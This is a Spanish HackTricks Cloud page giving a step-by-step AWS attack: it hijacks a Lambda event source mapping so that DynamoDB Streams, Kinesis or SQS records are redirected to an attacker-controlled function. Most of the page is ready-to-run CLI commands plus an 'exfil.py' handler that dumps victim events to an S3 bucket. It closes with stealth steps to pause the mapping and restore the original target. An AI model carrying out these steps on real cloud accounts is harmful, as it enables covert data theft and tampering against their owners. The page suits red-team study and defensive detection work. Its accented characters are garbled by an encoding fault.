AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Abusa de UpdateEventSourceMapping para cambiar la funci贸n Lambda objetivo de un Event Source Mapping (ESM) existente, de modo que los registros de DynamoDB Streams, Kinesis o SQS se entreguen a una funci贸n controlada por el atacante. Esto desv铆a silenciosamente datos en vivo sin tocar a los productores ni el c贸digo de la funci贸n original.
Impacto
- Desviar y leer registros en vivo de streams/queues existentes sin modificar las aplicaciones productoras ni el c贸digo de la v铆ctima.
- Posible exfiltraci贸n de datos o manipulaci贸n de la l贸gica al procesar el tr谩fico de la v铆ctima en una funci贸n maliciosa.
Permisos requeridos
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- Capacidad para desplegar o referenciar una Lambda controlada por el atacante (
lambda:CreateFunctiono permiso para usar una existente).
Pasos
- Enumerar event source mappings para la funci贸n v铆ctima
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- Prepara una Lambda receptora controlada por el atacante (misma regi贸n; idealmente VPC/runtime similar)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Reapuntar el mapping a la funci贸n del atacante
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Genera un evento en la fuente para que el mapeo se active (ejemplo: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Verificar que la funci贸n atacante reciba el lote
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Sigilo opcional
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Notas:
- Para SQS ESMs, el rol de ejecuci贸n de la Lambda que procesa la cola necesita
sqs:ReceiveMessage,sqs:DeleteMessage, ysqs:GetQueueAttributes(pol铆tica administrada:AWSLambdaSQSQueueExecutionRole). - El UUID del ESM permanece igual; solo se cambia su
FunctionArn, por lo que los productores y los source ARNs quedan intactos.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

